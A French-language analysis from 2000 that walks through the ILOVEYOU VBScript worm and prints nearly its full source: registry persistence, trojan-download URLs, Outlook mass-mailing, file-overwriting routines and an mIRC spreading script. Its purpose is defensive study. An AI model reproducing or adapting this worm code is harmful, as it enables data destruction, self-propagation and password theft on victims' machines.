Étude réalisée par
Jean-Claude BELLAMY © 2000
Copie et diffusion de ce document autorisée sous réserve de respecter le
Copyright.
|
Le 4 mai 2000, sur toute la surface du globe, un virus du nom de "I Love You" s'est propagé à une vitesse fulgurante, infectant des millions d'ordinateurs. Ce virus, de type ver (worm), se présente sous la forme d'un script écrit en langage VBScript, attaché en pièce-jointe à un courrier électronique. Si l'utilisateur qui le reçoit exécute cette pièce-jointe, il va déclencher le processus de d'infection et de propagation contenu dans le script.
Cette étude va décrire et commenter ce script point par point. Elle n'a évidemment pas pour but d'inciter des personnes mal-intentionnées à développer ce genre d'applications nuisibles, mais au contraire de connaître leur mode de fonctionnement afin de s'en protéger et de mieux les combattre.(la politique "de l'autruche" n'est jamais constructive!)
Le présent
document HTML contenant (sous forme de texte) le code du virus,
certains logiciels anti-virus, tels que "Norton Anti-Virus"
peuvent le prendre par erreur pour le virus lui-même
!!
Il n'en est rien, il n'y a aucun contrôle ActiveX sur
ce site!
(et s'il y en avait un, le lecteur en serait averti
par l'ouverture d'une boite de dialogue générée par le
navigateur)
Le virus est un programme de 270 lignes environ, écrit en
VBScript, un des langages utilisés sous Windows dans les scripts de haut
niveau WSH (Windows Scripting Host )
Consulter
les chapitres entièrement consacré à WSH et au
langage VBS, ou le site Microsoft.
Le seul langage de scripts qui était disponible jusqu'alors dans les systèmes Microsoft (sans faire appel à des produits tiers) se limitait aux commandes MSDOS, utilisées directement dans une fenêtre de commande ou dans des fichiers de commandes (.bat, ou .cmd sous NT). Or MSDOS est très limité (impossibilité d'effectuer des saisies, des calculs, des boucles,..).
WSH comble ces déficiences. Une de ses particularités est d'accepter plusieurs langages possibles (par défaut, au départ, VBScript et JScript, mais cette liste n'est pas limitée).
VBScript est un langage qui se rapproche de Visual Basic, langage de programmation bien connu de Microsoft, ou de Visual Basic for Application (utilisé dans les applications Word, Excel,...de MS Office)
JScript est un langage voisin de JavaScript, de Netscape, utilisé dans les documents HTML
WSH est doté de deux interpréteurs, supportant à la fois VBScript et JScript :
cscript.exe : en mode ligne de commandes
wscript.exe : en mode fenêtré
Schéma de principe :
WSH est installé nativement sous Windows 98 et
Windows 2000, ainsi qu'avec Internet Information Services version
4.0 (serveur HTTP et FTP pour Windows NT4).
On peut installer
WSH (avec ses interpréteurs de JScript et VBScript) sous Windows
95 et Windows NT4, en téléchargeant un fichier exécutable
autoextractible depuis le site de Microsoft :
Pour
pouvoir installer et utiliser WSH sous Windows 95, il faut :
Le virus est contenu dans un fichier, nommé LOVE-LETTER-FOR-YOU.TXT.vbs, et figure en pièce-jointe dans un courrier électronique. Cette double extension, qui peut sembler étrange, permet au virus de se déguiser aux yeux d'un utilisateur de Windows n'ayant pas reconfiguré l'explorateur. En effet, par défaut, l'explorateur n'affiche pas les extensions "connues", c'est à dire qui sont associées à une application. Or si on dispose de WSH, les fichiers ayant l'extension .vbs sont associés à l'application wscript.exe (par défaut).
Si bien que le virus sera affiché sous le nom
LOVE-LETTER-FOR-YOU.TXT , et sera donc pris pour un simple fichier texte
(sauf si l'utilisateur remarque l'icône et le type associés).
Exemple
:
Extensions connues |
Aspect |
cachées |
![]() |
visibles |
![]() |
La configuration s'effectue depuis le menu
Outils / Options des dossiers, onglet affichage de
l'explorateur de Windows (cela peut différer suivant la version de
Windows)
Cette utilisation de double extension va se retrouver
fréquemment dans le virus (p.ex. fichiers *.jpeg ou *.mp3
renommés en *.jpeg.vbs ou *.mp3.vbs,..)
Il est donc INDISPENSABLE de configurer
correctement l'explorateur de Windows, afin que TOUTES les
extensions des fichiers soient affichées , ainsi que les
fichiers cachés!
Si l'utilisateur effectue un double-clic sur le fichier contenant le virus, l'interpréteur de script (wscript.exe) va l'exécuter, ce qui va avoir les conséquences suivantes :
modification de la Base de Registres (BDR) pour auto-relancement. Le virus va être exécuté à chaque démarrage de Windows
modification de la page d'accueil de Internet Explorer, afin qu'à son ouverture il pointe vers le téléchargement d'un exécutable (WIN-BUGSFIX.EXE), qui est un cheval de Troie destiné à transmettre silencieusement les mots de passe de l'utilisateur.
envoi automatique d'un message envoyé à tous les correspondant contenus dans le carnet d'adresses de Outlook. Ce message contient le virus en pièce-jointe
infection de fichiers. Suivant les extensions de
chaque fichier, l'infection va varier :
Extensions |
Conséquences |
*.vbs *.vbe |
les contenus de ces fichiers sont remplacés par le virus |
*.js *.jse *.css *.wsh *.sct *.hta |
les contenus de ces fichiers sont
remplacés par le virus. De plus, leur extensions sont remplacées par .vbs |
*.jpg *.jpeg |
les contenus de ces fichiers sont
remplacés par le virus. De plus, .vbs est ajouté à leurs extensions (*) |
*.mp3 *.mp2 |
un fichier contenant le virus est
créé, le nom de ce fichier étant le nom du fichier initial suivi
de .vbs (*) le fichier original et conservé, mais reçoit l'attribut caché |
mirc32.exe mlink32.exe mirc.ini script.ini mirc.hlp |
L'existence de ces fichiers témoigne de
l'utilisation de IRC (Internet Relay Chat) Dans ce cas, le fichier script.ini est (ré)écrit, et contient un script qui envoie à tout correspondant IRC un fichier HTML contenant le virus placé dans un script. |
autres | il ne se passe rien |
(*) : le rajout de l'extension .vbs aux fichiers jpeg et mp3 est effectué dans le but suivant :
On va reprendre ici le script lui-même et commenter chaque
phase.Pour des questions de mise en page et clarification du code, des
retours à la ligne ont été ajoutés (dans le cas de lignes particulièrement
longues), ainsi que des retraits.
Script | Commentaires |
rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines |
Ces commentaires ne prouvent rien quant à l'origine réelle du virus |
On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") |
Initialisation de variables et objets communs |
set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() |
Lecture en mémoire du fichier virus lui-même (en vue de copies ultérieures) |
sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\ Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\ Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if |
On peut normalement
définir un "timeout" sur les scripts, permettant de les arrêter en cas de
blocage. Cela se défini, par exemple, en exécutant wscript.exe (sans paramètre) : ![]() Dans le virus, la valeur de timeout est fixée à zéro, ce qui signifie aucun délai, donc le script ne pourra pas être interrompu en cas d'attente trop longue.
|
Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") |
Le virus est recopié
(et renommé) dans les fichiers suivants :
|
regruns() html() spreadtoemail() listadriv() end sub |
Les différentes
phases du virus :
|
sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer \Download Directory") if (downread="") then downread="c:\" end if |
Modification des
clefs de démarrage d'applications, de façon que le virus (renommé) soit
exécuté à chaque démarrage de Windows,
NB: la clef "...\RunServices" n'existe pas sous WIndows NT/2000 |
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer \Main\Start Page","http://www.skyinet.net/~young1s /HJKhjnwerhjkxcvytwertnMTFwet rdsfmhPnjw6587345gvsdf7679njbvYT /WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer \Main\Start Page","http://www.skyinet.net/~angelcat /skladjflfdjghKJnwetryDGFikj UIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w /WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer \Main\Start Page","http://www.skyinet.net/~koichi /jf6TRjkcbGRpGqaq198vbFV5hfFE kbopBdQZnmPOhfgER67b3Vbvg /WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer \Main\Start Page","http://www.skyinet.net/~chu /sdgfhjksdfjklNBmnfgkKLHjkqwt uHJBhAFSDGjkhYUgqwerasdjhPhja sfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg /WIN-BUGSFIX.exe" end if end if |
Préparation du
téléchargement du cheval de Troie
ATTENTION! il y a ici un piège
: Le fichier dont l'existence est testée est WinFAT32.exe. C'est en réalité WIN-BUGFIX.EXE renommé, qui est un cheval de Troie. S'il n'existe pas, la page d'accueil d 'Internet Explorer est modifiée, afin de pointer vers un URL de téléchargement de ce fichier. Il y a apparemment 4 sites possibles de téléchargement, l'un d'eux étant choisi aléatoirement.
|
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\ Internet Explorer\Main\Start Page","about:blank" end if end sub |
S'il existe, l'emplacement de ce fichier est inscrit dans la clef de lancement des programmes au démarrage, et la page d'accueil d 'Internet Explorer est remise à blanc. |
sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub |
Énumération de tous les disques logiques de l'ordinateur, qu'ils soient locaux (DriveType=2) ou réseau (DriveType=3) |
sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) |
Infection des fichiers |
if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close |
Les fichiers VBS et VBE sont écrasés par le virus |
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) |
Les
fichiers JS, JSE, CSS, WSH, SCT, HTA sont écrasés par le virus et renommés avec extension VBS |
elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) |
Les fichiers JPG et JPEG sont écrasés par le virus et une extension VBS est ajoutée à leurs noms |
elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if |
Les fichiers MP3 et
MP2 sont cachés Des fichiers contenant le virus sont créés avec des noms identiques et extension VBS ajoutée |
if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub |
Test d'utilisation
d'IRC par la présence de certains fichiers. Si c'est le cas, modification du fichier script.ini afin qu'il envoie le virus via un document HTML |
sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub |
Routine de balayage récursif de tous les dossiers de chaque disque et infection de tous les fichiers contenus. |
sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub |
Routine d'écriture d'une clef de la BDR |
function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function |
Routine de lecture d'une clef de la BDR |
function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function |
Routine de test
d'existence de fichier (résultat inversé par rapport à la fonction traditionnelle) |
function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function |
Routine de test
d'existence de dossier (résultat inversé par rapport à la fonction traditionnelle) |
sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) |
Envois de
courriers électroniques |
x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software \Microsoft\WAB\"&malead) if (regad="") then |
Accès aux carnets d'adresses |
set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem &"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft \WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft \WAB\"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub |
Création du
message suivant :
|
sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 |
Création d'un
document HTML destiné à être transmis par IRC |
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE> <META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@> "&vbcrlf& _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#; window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#; window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p> <p>To Enable to read this HTML file<BR>- Please press #-#YES #-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@> ----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=screen.availWidth; var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);} "&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" |
Le corps du document
HTML est dans une variable chaîne dta1 Certains caractères de contrôle (",@,...) sont remplacés par des chaînes' évitant d'être mal interprétées par l'interpréteur de script |
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft ^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem& @-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" |
Le document HTML contient lui-même un script écrit en VBScript |
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close |
Remplacement
des caractères de contrôle
Création du fichier HTML |
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub |
Réécriture du
fichier HTML
|
Contenu du document HTML généré | Commentaires |
<HTML> <HEAD> <TITLE>LOVELETTER - HTML</TITLE> <META NAME="Generator" CONTENT="BAROK VBS - LOVELETTER"> <META NAME="Author" CONTENT="spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila, Philippines / March 2000"> <META NAME="Description" CONTENT="simple but i think this is good..."> </HEAD> <BODY ONMOUSEOUT="window.name='main'; window.open('LOVE-LETTER-FOR-YOU.HTM','main')" ONKEYDOWN="window.name='main'; window.open('LOVE-LETTER-FOR-YOU.HTM','main')" BGPROPERTIES="fixed" BGCOLOR="#FF9933"> <CENTER><p>This HTML file need ActiveX Control</p> <p>To Enable to read this HTML file <BR>- Please press 'YES' button to Enable ActiveX</p> </CENTER> <MARQUEE LOOP="infinite" BGCOLOR="yellow"> ----------z--------------------z----------</MARQUEE> </BODY> </HTML> |
Le document
HTML annonce l'utilisation d'un composant ActiveX (le
VBScript), et demande de répondre Yes dans la boite de dialogue
ouverte en conséquence par le navigateur.
Un texte défilant s'affiche au milieu de l'écran pendant ce temps. |
<SCRIPT language="JScript"> <!--// if (window.screen){ var wi=screen.availWidth; var hi=screen.availHeight; window.moveTo(0,0); window.resizeTo(wi,hi);} //--> </SCRIPT> |
Script écrit en JScript faisant passer la fenêtre du navigateur en plein écran |
<SCRIPT LANGUAGE="VBScript"> <!-- on error resume next dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit aw=1 code="...... on retrouve ici le script complet sous la forme d'une chaîne " |
Script en
VBScript contenant une copie intégrale du VBScript
initial sous la forme d'une chaine La chaîne concernée contient des caractères de contrôle. |
set fso=CreateObject("Scripting.FileSystemObject") set dirsystem=fso.GetSpecialFolder(1) code2=replace(code,chr(91)&chr(45)&chr(91),chr(39)) code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34)) code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92)) set wri=fso.CreateTextFile(dirsystem&"\MSKernel32.vbs") wri.write code4 wri.close if (fso.FileExists(dirsystem&"\MSKernel32.vbs")) then if (err.number=424) then aw=0 end if if (aw=1) then document.write "ERROR: can't initialize ActiveX" window.close end if end if Set regedit = CreateObject("WScript.Shell") regedit.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" //--> </SCRIPT> |
Remplacement
des caractères de contrôle
Ecriture du VBScript dans le fichier \windows\system\MSKernel32.vbs Modification de la BDR par ajout de ce fichier dans la liste des applications lancées au démarrage de Windows |
Préventifs
Curatifs
La protection totale contre des virus-scripts est quasi impossible à réaliser!
Il faudrait inclure dans les bases de signatures presque toutes les commandes VBScript et les noms des objets usuels, ce qui rendrait l'utilisation de scripts "honnêtes" parfaitement impossible!